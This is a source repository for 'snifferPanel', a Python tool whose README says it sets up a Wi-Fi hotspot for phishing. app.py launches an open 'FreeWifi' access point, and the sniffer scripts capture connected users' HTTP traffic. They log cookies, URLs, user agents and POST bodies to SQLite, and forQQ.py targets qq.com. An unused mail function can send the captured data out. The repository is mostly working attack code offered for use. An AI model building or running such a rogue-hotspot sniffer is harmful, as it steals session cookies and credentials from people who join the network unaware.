├── qq.db
├── httplog.db
├── README.md
├── .gitignore
├── LICENSE
├── forQQ.py
├── sniff.py
└── app.py
/qq.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kbdancer/snifferPanel/HEAD/qq.db
--------------------------------------------------------------------------------
/httplog.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kbdancer/snifferPanel/HEAD/httplog.db
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # snifferPanel
2 | 这个脚本用来一键快速创建热点,基于create_ap,自动调用scapy进行流量解析,分析并存储请求的数据,可用作钓鱼
3 | # 兼容性
4 | 由于创建ap底层还是用了hostapd,对网卡比较挑剔,部分网卡需要打补丁才能使用,过程比较繁琐。此脚本原生支持树莓派3的板载网卡,系统使用kali rolling 测试通过
5 | # 特点
6 | 创建的wifi热点很稳定,终端连接速度快,开启协议解析不会造成网络慢的问题,比较推荐。缺点就是挑网卡
7 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | env/
12 | build/
13 | develop-eggs/
14 | dist/
15 | downloads/
16 | eggs/
17 | .eggs/
18 | lib/
19 | lib64/
20 | parts/
21 | sdist/
22 | var/
23 | *.egg-info/
24 | .installed.cfg
25 | *.egg
26 |
27 | # PyInstaller
28 | # Usually these files are written by a python script from a template
29 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
30 | *.manifest
31 | *.spec
32 |
33 | # Installer logs
34 | pip-log.txt
35 | pip-delete-this-directory.txt
36 |
37 | # Unit test / coverage reports
38 | htmlcov/
39 | .tox/
40 | .coverage
41 | .coverage.*
42 | .cache
43 | nosetests.xml
44 | coverage.xml
45 | *,cover
46 | .hypothesis/
47 |
48 | # Translations
49 | *.mo
50 | *.pot
51 |
52 | # Django stuff:
53 | *.log
54 |
55 | # Sphinx documentation
56 | docs/_build/
57 |
58 | # PyBuilder
59 | target/
60 |
61 | #Ipython Notebook
62 | .ipynb_checkpoints
63 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2016 一只猿
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/forQQ.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding=utf-8
3 | # code by 92ez.com
4 |
5 | from email.mime.text import MIMEText
6 | from scapy.all import *
7 | import smtplib
8 | import sqlite3
9 | import os
10 | import sys
11 |
12 | def dealPackage(packet):
13 |
14 | ip_dst = packet.sprintf("{IP:%IP.dst%}")
15 | ip_src = packet.sprintf("{IP:%IP.src%}")
16 | port_dst = packet.sprintf("{TCP:%TCP.dport%}")
17 | port_src = packet.sprintf("{TCP:%TCP.sport%}")
18 |
19 | lines = packet.sprintf("{Raw:%Raw.load%}").replace("'","").split(r"\r\n")
20 |
21 | if lines[0] != "":
22 | saveToDB(ip_src,ip_dst,port_src,port_dst,lines)
23 | # sendMail('***@qq.com','Notice ! Found Data!','
'.join(lines))
24 |
25 | def saveToDB(ip_src,ip_dst,port_src,port_dst,data):
26 |
27 | this_type = ''
28 | this_host = ''
29 | this_method = ''
30 | this_UA = ''
31 | this_cookie = ''
32 | this_referer = ''
33 | this_uri = ''
34 | this_data = ''
35 | this_server = ''
36 | this_ctype = ''
37 | this_url = ''
38 |
39 | try:
40 | cx = sqlite3.connect(sys.path[0]+"/qq.db")
41 | cx.text_factory = str
42 | cu = cx.cursor()
43 |
44 | if 'GET' in data[0] or 'POST' in data[0]:
45 | this_type = 'Request'
46 | else:
47 | this_type = 'Response'
48 |
49 | if this_type == 'Request':
50 |
51 | this_method = data[0].split(' ')[0].replace('"','')
52 | this_uri = data[0].split(' ')[1]
53 | this_data = data[-1]
54 |
55 | for line in data[0:-2]:
56 | if 'Host: ' in line:
57 | this_host = line.split('Host: ')[1]
58 | if 'User-Agent: ' in line:
59 | this_UA = line.split('User-Agent: ')[1]
60 | if 'Cookie: ' in line:
61 | this_cookie = line.split('Cookie: ')[1]
62 | if 'Referer: ' in line:
63 | this_referer = line.split('Referer: ')[1]
64 |
65 | this_url = this_host + this_uri
66 |
67 | if 'qq.com' in this_host:
68 | print ip_src+' ==> '+ip_dst
69 | print this_url
70 | cu.execute("insert into record (ipsrc,ipdst,url,reqType,cookies,referer,data,ua) values (?,?,?,?,?,?,?,?)", (ip_src,ip_dst,this_url,this_method,this_cookie,this_referer,this_data,this_UA))
71 | cx.commit()
72 | else:
73 |
74 | for line in data:
75 | if 'Server: ' in line:
76 | this_server = line.split('Server: ')[1]
77 | if 'Content-Type: ' in line:
78 | this_ctype = line.split('Content-Type: ')[1]
79 |
80 | cu.close()
81 | cx.close()
82 | except Exception, e:
83 | print e
84 |
85 | def sendMail(receiver, title, body):
86 | host = 'smtp.126.com'
87 | port = 25
88 | sender = '***@126.com'
89 | pwd = '***'
90 |
91 | msg = MIMEText(body, 'html')
92 | msg['subject'] = title
93 | msg['from'] = sender
94 | msg['to'] = receiver
95 |
96 | try:
97 | s = smtplib.SMTP(host, port)
98 | s.login(sender, pwd)
99 | s.sendmail(sender, receiver, msg.as_string())
100 | print '[*] The mail named %s to %s is sent successly.' % (title, receiver)
101 | except Exception,e:
102 | sys.exit('[x] Send email failed! Exception is %s.' % e)
103 |
104 | def doSniffer():
105 | sniff_iface = sys.argv[1]
106 | try:
107 | print '[√] Sniffing on '+sniff_iface+'!'
108 | sniff(iface = sniff_iface,prn = dealPackage,lfilter = lambda p: str(p),filter = "tcp")
109 | # sniff(iface = sniff_iface,prn = dealPackage,lfilter = lambda p: "HTTP" in str(p),filter = "tcp")
110 | # sniff(iface = sniff_iface,prn = dealPackage,lfilter=lambda p: "GET" in str(p) or "POST" in str(p),filter="tcp")
111 | except Exception,e:
112 | sys.exit('[x] Can not do sniff on %s! Please check! Exception is %s' % (sniff_iface,e))
113 |
114 | if __name__ == '__main__':
115 | doSniffer()
116 |
--------------------------------------------------------------------------------
/sniff.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding=utf-8
3 | # code by 92ez.com
4 |
5 | from email.mime.text import MIMEText
6 | from scapy.all import *
7 | import smtplib
8 | import sqlite3
9 | import os
10 | import sys
11 |
12 | def dealPackage(packet):
13 |
14 | ip_dst = packet.sprintf("{IP:%IP.dst%}")
15 | ip_src = packet.sprintf("{IP:%IP.src%}")
16 | port_dst = packet.sprintf("{TCP:%TCP.dport%}")
17 | port_src = packet.sprintf("{TCP:%TCP.sport%}")
18 |
19 | lines = packet.sprintf("{Raw:%Raw.load%}").replace("'","").split(r"\r\n")
20 |
21 | if lines[0] != "":
22 | saveToDB(ip_src,ip_dst,port_src,port_dst,lines)
23 | # sendMail('***@qq.com','Notice ! Found Data!','
'.join(lines))
24 |
25 | def saveToDB(ip_src,ip_dst,port_src,port_dst,data):
26 |
27 | this_type = ''
28 | this_host = ''
29 | this_method = ''
30 | this_UA = ''
31 | this_cookie = ''
32 | this_referer = ''
33 | this_uri = ''
34 | this_data = ''
35 | this_server = ''
36 | this_ctype = ''
37 | this_url = ''
38 |
39 | try:
40 | cx = sqlite3.connect(sys.path[0]+"/httplog.db")
41 | cx.text_factory = str
42 | cu = cx.cursor()
43 |
44 | if 'GET' in data[0] or 'POST' in data[0]:
45 | this_type = 'Request'
46 | else:
47 | this_type = 'Response'
48 |
49 | if this_type == 'Request':
50 |
51 | this_method = data[0].split(' ')[0].replace('"','')
52 | this_uri = data[0].split(' ')[1]
53 | this_data = data[-1]
54 |
55 | for line in data[0:-2]:
56 | if 'Host: ' in line:
57 | this_host = line.split('Host: ')[1]
58 | if 'User-Agent: ' in line:
59 | this_UA = line.split('User-Agent: ')[1]
60 | if 'Cookie: ' in line:
61 | this_cookie = line.split('Cookie: ')[1]
62 | if 'Referer: ' in line:
63 | this_referer = line.split('Referer: ')[1]
64 |
65 | this_url = this_host + this_uri
66 |
67 | if len(this_host) > 0:
68 | print ip_src+' ==> '+ip_dst
69 | print this_url
70 | cu.execute("insert into record (ipsrc,ipdst,url,reqType,cookies,referer,data,ua) values (?,?,?,?,?,?,?,?)", (ip_src,ip_dst,this_url,this_method,this_cookie,this_referer,this_data,this_UA))
71 | cx.commit()
72 | else:
73 |
74 | for line in data:
75 | if 'Server: ' in line:
76 | this_server = line.split('Server: ')[1]
77 | if 'Content-Type: ' in line:
78 | this_ctype = line.split('Content-Type: ')[1]
79 |
80 | cu.close()
81 | cx.close()
82 | except Exception, e:
83 | print e
84 |
85 | def sendMail(receiver, title, body):
86 | host = 'smtp.126.com'
87 | port = 25
88 | sender = '***@126.com'
89 | pwd = '***'
90 |
91 | msg = MIMEText(body, 'html')
92 | msg['subject'] = title
93 | msg['from'] = sender
94 | msg['to'] = receiver
95 |
96 | try:
97 | s = smtplib.SMTP(host, port)
98 | s.login(sender, pwd)
99 | s.sendmail(sender, receiver, msg.as_string())
100 | print '[*] The mail named %s to %s is sent successly.' % (title, receiver)
101 | except Exception,e:
102 | sys.exit('[x] Send email failed! Exception is %s.' % e)
103 |
104 | def doSniffer():
105 | sniff_iface = sys.argv[1]
106 | try:
107 | print '[√] Sniffing on '+sniff_iface+'!'
108 | sniff(iface = sniff_iface,prn = dealPackage,lfilter = lambda p: str(p),filter = "tcp")
109 | # sniff(iface = sniff_iface,prn = dealPackage,lfilter = lambda p: "HTTP" in str(p),filter = "tcp")
110 | # sniff(iface = sniff_iface,prn = dealPackage,lfilter=lambda p: "GET" in str(p) or "POST" in str(p),filter="tcp")
111 | except Exception,e:
112 | sys.exit('[x] Can not do sniff on %s! Please check! Exception is %s' % (sniff_iface,e))
113 |
114 | if __name__ == '__main__':
115 | doSniffer()
116 |
--------------------------------------------------------------------------------
/app.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding=utf-8
3 | # code by 92ez.com
4 |
5 | import subprocess
6 | import time
7 | import sys
8 | import os
9 |
10 | def checkInstall():
11 | if not os.path.isfile('/usr/sbin/hostapd'):
12 | install = raw_input('[?] hostapd not found in /usr/sbin/hostapd, install now? [y/n] ')
13 | if install == 'y':
14 | os.system('apt-get -y install hostapd')
15 | else:
16 | sys.exit('[x] hostapd not found in /usr/sbin/hostapd')
17 | else:
18 | print '[√] hostapd has been installed.'
19 |
20 | if not os.path.isfile('/usr/sbin/dnsmasq'):
21 | install = raw_input('[?] dnsmasq not found in /usr/sbin/dnsmasq, install now? [y/n] ')
22 | if install == 'y':
23 | os.system('apt-get -y install dnsmasq')
24 | else:
25 | sys.exit('[x] dnsmasq not found in /usr/sbin/dnsmasq')
26 | else:
27 | print '[√] dnsmasq has been installed.'
28 |
29 | if not os.path.isfile('/usr/sbin/rfkill'):
30 | install = raw_input('[?] rfkill not found in /usr/sbin/rfkill, install now? [y/n] ')
31 | if install == 'y':
32 | os.system('apt-get -y install rfkill')
33 | else:
34 | sys.exit('[x] rfkill not found in /usr/sbin/rfkill')
35 | else:
36 | print '[√] rfkill has been installed.'
37 |
38 | if not os.path.isfile('/usr/sbin/haveged'):
39 | install = raw_input('[?] haveged not found in /usr/sbin/haveged, install now? [y/n] ')
40 | if install == 'y':
41 | os.system('apt-get -y install haveged')
42 | else:
43 | sys.exit('[x] haveged not found in /usr/sbin/haveged')
44 | else:
45 | print '[√] haveged has been installed.'
46 |
47 | if not os.path.isfile('/usr/bin/gcc'):
48 | install = raw_input('[?] dnsmap not found in /usr/bin/gcc, install now? [y/n] ')
49 | if install == 'y':
50 | os.system('apt-get -y install gcc')
51 | else:
52 | sys.exit('[x] gcc not found in /usr/bin/gcc')
53 | else:
54 | print '[√] gcc has been installed.'
55 |
56 | if not os.path.isfile('/usr/bin/make'):
57 | install = raw_input('[?] make not found in /usr/bin/make, install now? [y/n] ')
58 | if install == 'y':
59 | os.system('apt-get -y install make')
60 | else:
61 | sys.exit('[x] make not found in /usr/bin/make')
62 | else:
63 | print '[√] make has been installed.'
64 |
65 | if not os.path.isfile('/usr/sbin/tcpdump'):
66 | install = raw_input('[?] tcpdump not found in /usr/sbin/tcpdump, install now? [y/n] ')
67 | if install == 'y':
68 | os.system('apt-get -y install tcpdump')
69 | else:
70 | sys.exit('[x] tcpdump not found in /usr/sbin/tcpdump')
71 | else:
72 | print '[√] tcpdump has been installed.'
73 |
74 | if not os.path.isfile('/usr/bin/create_ap'):
75 | install = raw_input('[?] create_ap not found in /usr/bin/create_ap, install now? [y/n] ')
76 | if install == 'y':
77 | os.system('cd /tmp && git clone https://github.com/oblique/create_ap.git && cd create_ap && make install')
78 | else:
79 | sys.exit('[x] create_ap not found in /usr/bin/create_ap')
80 | else:
81 | print '[√] create_ap has been installed.'
82 |
83 | if not os.path.isfile('/usr/bin/pip') and not os.path.isfile('/usr/local/bin/pip'):
84 | install = raw_input('[?] pip not found, install now? [y/n] ')
85 | if install == 'y':
86 | os.system('cd /tmp && wget https://bootstrap.pypa.io/get-pip.py')
87 | os.system('python /tmp/get-pip.py')
88 | else:
89 | sys.exit('[x] pip not found')
90 | else:
91 | print '[√] pip has been installed.'
92 |
93 | try:
94 | __import__('scapy')
95 | print '[√] Module scapy been installed.'
96 | except:
97 | install = raw_input('[?] Module scapy not found in python, install now? [y/n] ')
98 | if install == 'y':
99 | os.system('pip install scapy')
100 | else:
101 | sys.exit('[x] No module named scapy')
102 | # update pip and python Modules
103 |
104 | print '[*] Update python modules.'
105 | print '-'*80
106 |
107 | try:
108 | os.system('pip install -U pip')
109 | except:
110 | sys.exit('[x] Update pip failed.')
111 |
112 | try:
113 | os.system('pip install -U scapy')
114 | except:
115 | sys.exit('[x] Update scapy failed.')
116 |
117 | try:
118 | os.system('pip install -U email')
119 | except:
120 | sys.exit('[x] Update email failed.')
121 |
122 | def doCreate():
123 | try:
124 | os.system('create_ap %s %s %s %s %s -g %s --dhcp-dns %s --no-virt' % (mode,ap_iface,net_iface,ap_ssid,ap_key,ap_getway,ap_dns))
125 | except Exception,e:
126 | sys.exit('[x] Create AP failed! Please check!')
127 |
128 | def dosniff():
129 | try:
130 | sniff_iface = ''
131 | if if_net:
132 | sniff_iface = net_iface
133 | else:
134 | sniff_iface = ap_iface
135 |
136 | subprocess.Popen(['python',sys.path[0]+'/sniff.py',sniff_iface])
137 | except Exception,e:
138 | sys.exit('[x] do sniff failed.Exception is %s' % e)
139 |
140 | if __name__ == '__main__':
141 | print "================================================="
142 | print "|Create by MonkeyChain |"
143 | print "|Blog www.92ez.com Email non3gov@gmail.com |"
144 | print "|You should know what you are doing. |"
145 | print "================================================="
146 |
147 | global net_iface,ap_iface,ap_ssid,ap_key,ap_getway,ap_dns,if_net
148 |
149 | net_iface = 'eth0' # if you have no interface to connect network, you should set ''
150 | ap_iface = 'wlan0' # the ap interface you want to use
151 | ap_ssid = 'FreeWifi' # you know
152 | ap_key = '' # wifi password
153 | ap_getway = '192.168.0.1'
154 | ap_dns = '114.114.115.115' # default
155 | if_net = True
156 |
157 | if net_iface == '':
158 | if_net = False
159 | else:
160 | if_net = True
161 |
162 | print '\n[*] Checking required...\n'
163 | checkInstall()
164 | print '\n[*] Required checked!\n'
165 |
166 | print '[*] Start sniffing!'
167 | dosniff()
168 |
169 | print '[*] Creating an AP!'
170 | doCreate()
--------------------------------------------------------------------------------